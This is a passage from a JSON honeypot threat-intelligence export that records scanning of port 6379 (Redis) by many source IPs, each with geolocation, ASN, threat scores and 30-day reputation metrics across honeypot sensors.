        "days_active_30d": 1,
        "ports_targeted_30d": 1903,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-20T03:12:29.638000+00:00",
        "last_seen_30d": "2026-05-20T09:24:48.900000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1868,
        "Honeytrap": 17,
        "Sentrypeer": 1
      }
    },
    "216.218.206.117": {
      "attack_count": 4,
      "first_seen": "2026-05-26T15:09:58.000Z",
      "last_seen": "2026-05-26T15:10:59.144Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 49.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.0,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 26,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T09:11:08.087000+00:00",
        "last_seen_30d": "2026-05-27T09:02:58.963000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10
      }
    },
    "64.62.197.5": {
      "attack_count": 4,
      "first_seen": "2026-05-22T04:59:01.000Z",
      "last_seen": "2026-05-22T05:00:04.409Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 64.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 12.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 29,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:01:30.405000+00:00",
        "last_seen_30d": "2026-05-30T13:47:33.241000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 2
      }
    },
    "98.89.204.118": {
      "attack_count": 4,
      "first_seen": "2026-05-22T10:33:11.000Z",
      "last_seen": "2026-05-22T10:34:13.916Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 83.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 205,
        "days_active_30d": 30,
        "ports_targeted_30d": 81,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T00:23:06.531000+00:00",
        "last_seen_30d": "2026-05-31T20:00:41.760000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 174,
        "Honeytrap": 25,
        "ConPot": 6
      }
    },
    "51.68.207.118": {
      "attack_count": 305,
      "first_seen": "2026-05-04T17:14:26.000Z",
      "last_seen": "2026-05-30T01:18:28.532Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 236186,
        "days_active_30d": 30,
        "ports_targeted_30d": 4704,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T00:00:12+00:00",
        "last_seen_30d": "2026-05-31T23:51:58.476000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 123230,
        "Honeytrap": 111430,
        "Cowrie": 760,
        "Dionaea": 253,
        "ConPot": 209,
        "Miniprint": 114,
        "Adbhoney": 76,
        "Redishoneypot": 76,
        "Dicompot": 38
      }
    },
    "176.123.2.115": {
      "attack_count": 209,
      "first_seen": "2026-05-24T04:22:57.000Z",
      "last_seen": "2026-05-31T07:41:41.184Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": "Chisinau",
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 61.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 6.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1039,
        "days_active_30d": 8,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-24T00:30:57.478000+00:00",
        "last_seen_30d": "2026-05-31T23:51:08.634000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1039
      }
    },
    "161.35.123.1": {
      "attack_count": 160,
      "first_seen": "2026-05-27T04:52:27.000Z",
      "last_seen": "2026-05-27T05:14:09.342Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 2.5,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 3,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T01:53:11.628000+00:00",
        "last_seen_30d": "2026-05-27T05:56:29.459000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 48,
        "Suricata": 22
      }
    },
    "106.14.146.209": {
      "attack_count": 109,
      "first_seen": "2026-05-13T13:44:49.000Z",
      "last_seen": "2026-05-13T13:53:29.127Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T13:45:38+00:00",
        "last_seen_30d": "2026-05-13T13:53:29.127000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 30,
        "Suricata": 13
      }
    },
    "3.138.158.147": {
      "attack_count": 76,
      "first_seen": "2026-05-25T03:30:50.000Z",
      "last_seen": "2026-05-25T03:45:43.836Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 51.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 244,
        "days_active_30d": 1,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-25T02:42:28.673000+00:00",
        "last_seen_30d": "2026-05-25T09:18:47.593000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 149,
        "Honeytrap": 67,
        "Redishoneypot": 22,
        "Dionaea": 6
      }
    },
    "36.133.212.147": {
      "attack_count": 70,
      "first_seen": "2026-05-03T17:20:06.000Z",
      "last_seen": "2026-05-30T18:22:05.542Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 48.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:20:06+00:00",
        "last_seen_30d": "2026-05-30T18:22:05.542000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 21,
        "Suricata": 12
      }
    },
    "45.91.64.6": {
      "attack_count": 68,
      "first_seen": "2026-05-02T04:03:09.000Z",
      "last_seen": "2026-05-27T17:38:05.006Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 214664,
      "as_org": "JSC Buduschee",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 313,
        "days_active_30d": 30,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T04:03:09+00:00",
        "last_seen_30d": "2026-05-31T13:04:59.653000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 224,
        "Honeytrap": 32,
        "Redishoneypot": 18,
        "Dionaea": 11,
        "ElasticPot": 10,
        "Cowrie": 6,
        "Tanner": 5,
        "Honeyaml": 4,
        "H0neytr4p": 3
      }
    },
    "218.59.175.217": {
      "attack_count": 55,
      "first_seen": "2026-05-08T00:37:22.000Z",
      "last_seen": "2026-05-30T00:24:42.200Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-08T00:38:26.529000+00:00",
        "last_seen_30d": "2026-05-30T00:24:42.200000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10
      }
    },
    "184.105.139.68": {
      "attack_count": 53,
      "first_seen": "2026-05-12T19:44:29.000Z",
      "last_seen": "2026-05-30T14:04:20.517Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 387,
        "days_active_30d": 30,
        "ports_targeted_30d": 86,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-05-02T01:23:23.870000+00:00",
        "last_seen_30d": "2026-05-31T15:01:05.691000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 224,
        "Honeytrap": 108,
        "Redishoneypot": 22,
        "Miniprint": 9,
        "Dionaea": 5,
        "Tanner": 4,
        "CitrixHoneypot": 3,
        "ElasticPot": 3,
        "Adbhoney": 2,
        "ConPot": 2,
        "Cowrie": 2,
        "Honeyaml": 2,
        "Ipphoney": 1
      }
    },
    "2.59.255.74": {
      "attack_count": 43,
      "first_seen": "2026-05-26T20:24:16.000Z",
      "last_seen": "2026-05-26T22:39:35.775Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 21738,
      "as_org": "Rozint",
      "threat_score": 57.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.1,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 22,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-07T06:09:50.331000+00:00",
        "last_seen_30d": "2026-05-28T07:29:07.381000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 103
      }
    },
    "45.125.47.51": {
      "attack_count": 42,
      "first_seen": "2026-05-09T05:30:59.000Z",
      "last_seen": "2026-05-09T13:24:51.263Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 139180,
      "as_org": "Shandong eshinton Network Technology Co., Ltd.",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T05:30:59.328000+00:00",
        "last_seen_30d": "2026-05-09T13:24:51.263000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 27,
        "Suricata": 4
      }
    },
    "8.160.182.102": {
      "attack_count": 40,
      "first_seen": "2026-05-18T11:30:04.000Z",
      "last_seen": "2026-05-18T11:32:28.072Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T11:30:15+00:00",
        "last_seen_30d": "2026-05-18T11:32:28.072000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 3
      }
    },
    "164.52.192.134": {
      "attack_count": 37,
      "first_seen": "2026-05-06T17:25:24.000Z",
      "last_seen": "2026-05-06T18:32:16.964Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 132420,
      "as_org": "282, Sector 19",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T17:25:24+00:00",
        "last_seen_30d": "2026-05-06T18:32:16.964000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 18,
        "Suricata": 3
      }
    },
    "71.6.199.87": {
      "attack_count": 36,
      "first_seen": "2026-05-09T03:52:56.000Z",
      "last_seen": "2026-05-21T10:44:48.148Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 78.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.6,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 27,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T00:32:27+00:00",
        "last_seen_30d": "2026-05-28T09:49:56.817000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Redishoneypot": 12,
        "Cowrie": 6,
        "Dionaea": 4,
        "ElasticPot": 4,
        "Honeytrap": 3,
        "H0neytr4p": 2
      }
    },
    "203.32.69.32": {
      "attack_count": 33,
      "first_seen": "2026-05-21T19:22:43.000Z",
      "last_seen": "2026-05-30T09:02:52.933Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58466,
      "as_org": "CHINANET Guangdong province network",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-21T19:23:45.503000+00:00",
        "last_seen_30d": "2026-05-30T09:02:52.933000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "142.93.249.5": {
      "attack_count": 28,
      "first_seen": "2026-05-28T19:00:34.000Z",
      "last_seen": "2026-05-29T12:00:31.051Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 57.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.5,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 2,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-28T18:14:08.826000+00:00",
        "last_seen_30d": "2026-05-29T15:18:10.388000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 10,
        "Redishoneypot": 8,
        "Dionaea": 1
      }
    },
    "177.125.137.18": {
      "attack_count": 28,
      "first_seen": "2026-05-28T04:54:13.000Z",
      "last_seen": "2026-05-28T04:55:25.729Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Monterrey",
      "asn": 265523,
      "as_org": "Sierra Madre Internet SA de CV",
      "threat_score": 87.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7972,
        "days_active_30d": 27,
        "ports_targeted_30d": 1422,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-05-02T00:02:16.359000+00:00",
        "last_seen_30d": "2026-05-28T05:04:25.214000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4662,
        "Honeytrap": 2712,
        "Cowrie": 564,
        "Miniprint": 9,
        "Dionaea": 8,
        "Redishoneypot": 7,
        "Adbhoney": 4,
        "Dicompot": 2,
        "ElasticPot": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "184.105.139.69": {
      "attack_count": 27,
      "first_seen": "2026-05-03T15:32:46.000Z",
      "last_seen": "2026-05-03T15:34:44.252Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 320,
        "days_active_30d": 30,
        "ports_targeted_30d": 70,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T12:04:33+00:00",
        "last_seen_30d": "2026-05-31T12:53:26.802000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 185,
        "Honeytrap": 109,
        "Redishoneypot": 11,
        "Mailoney": 6,
        "Dionaea": 4,
        "Cowrie": 2,
        "Ipphoney": 2,
        "Miniprint": 1
      }
    },
    "2.27.7.107": {
      "attack_count": 27,
      "first_seen": "2026-05-24T12:22:21.000Z",
      "last_seen": "2026-05-24T12:24:15.282Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 216039,
      "as_org": "EdgeSec Technologies Limited",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:22:32+00:00",
        "last_seen_30d": "2026-05-24T12:24:15.282000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 8,
        "Suricata": 3
      }
    },
    "64.62.197.197": {
      "attack_count": 27,
      "first_seen": "2026-05-19T07:28:44.000Z",
      "last_seen": "2026-05-19T07:30:32.847Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 30,
        "ports_targeted_30d": 75,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T03:04:07.032000+00:00",
        "last_seen_30d": "2026-05-31T04:18:55.444000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 146,
        "Honeytrap": 83,
        "Redishoneypot": 11,
        "Cowrie": 9,
        "Dionaea": 4,
        "ElasticPot": 2,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Miniprint": 1
      }
    },
    "65.49.1.232": {
      "attack_count": 27,
      "first_seen": "2026-05-24T05:09:36.000Z",
      "last_seen": "2026-05-24T05:11:24.048Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 355,
        "days_active_30d": 30,
        "ports_targeted_30d": 93,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T03:58:29+00:00",
        "last_seen_30d": "2026-05-31T14:53:47.701000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 223,
        "Honeytrap": 107,
        "Redishoneypot": 11,
        "Cowrie": 3,
        "Dionaea": 3,
        "Honeyaml": 3,
        "ConPot": 2,
        "Tanner": 2,
        "Ipphoney": 1
      }
    },
    "64.62.197.152": {
      "attack_count": 26,
      "first_seen": "2026-05-31T13:05:34.000Z",
      "last_seen": "2026-05-31T13:07:20.963Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 212,
        "days_active_30d": 30,
        "ports_targeted_30d": 69,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T04:18:10+00:00",
        "last_seen_30d": "2026-05-31T13:07:20.963000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 116,
        "Honeytrap": 79,
        "Redishoneypot": 11,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "104.28.162.216": {
      "attack_count": 25,
      "first_seen": "2026-05-05T08:52:18.000Z",
      "last_seen": "2026-05-05T09:07:19.308Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Lido di Ostia",
      "asn": 13335,
      "as_org": "Cloudflare, Inc.",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T08:52:18+00:00",
        "last_seen_30d": "2026-05-05T09:07:19.308000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 13,
        "Suricata": 2
      }
    },
    "140.238.153.39": {
      "attack_count": 25,
      "first_seen": "2026-05-19T14:36:33.000Z",
      "last_seen": "2026-05-28T13:02:40.465Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 40.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.8,
        "persistence": 12.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 15,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-14T21:47:12.820000+00:00",
        "last_seen_30d": "2026-05-28T13:02:40.465000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Redishoneypot": 6,
        "Honeytrap": 1
      }
    },
    "183.56.219.190": {
      "attack_count": 25,
      "first_seen": "2026-05-06T12:21:52.000Z",
      "last_seen": "2026-05-28T14:31:18.544Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 135089,
      "as_org": "China Telecom",
      "threat_score": 36.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T12:23:03.465000+00:00",
        "last_seen_30d": "2026-05-28T14:31:18.544000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 3
      }
    },
    "47.115.230.206": {
      "attack_count": 24,
      "first_seen": "2026-05-08T04:30:29.000Z",
      "last_seen": "2026-05-29T01:25:18.597Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:30:30+00:00",
        "last_seen_30d": "2026-05-29T01:25:18.597000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 3
      }
    },
    "66.132.195.61": {
      "attack_count": 24,
      "first_seen": "2026-05-03T17:41:14.000Z",
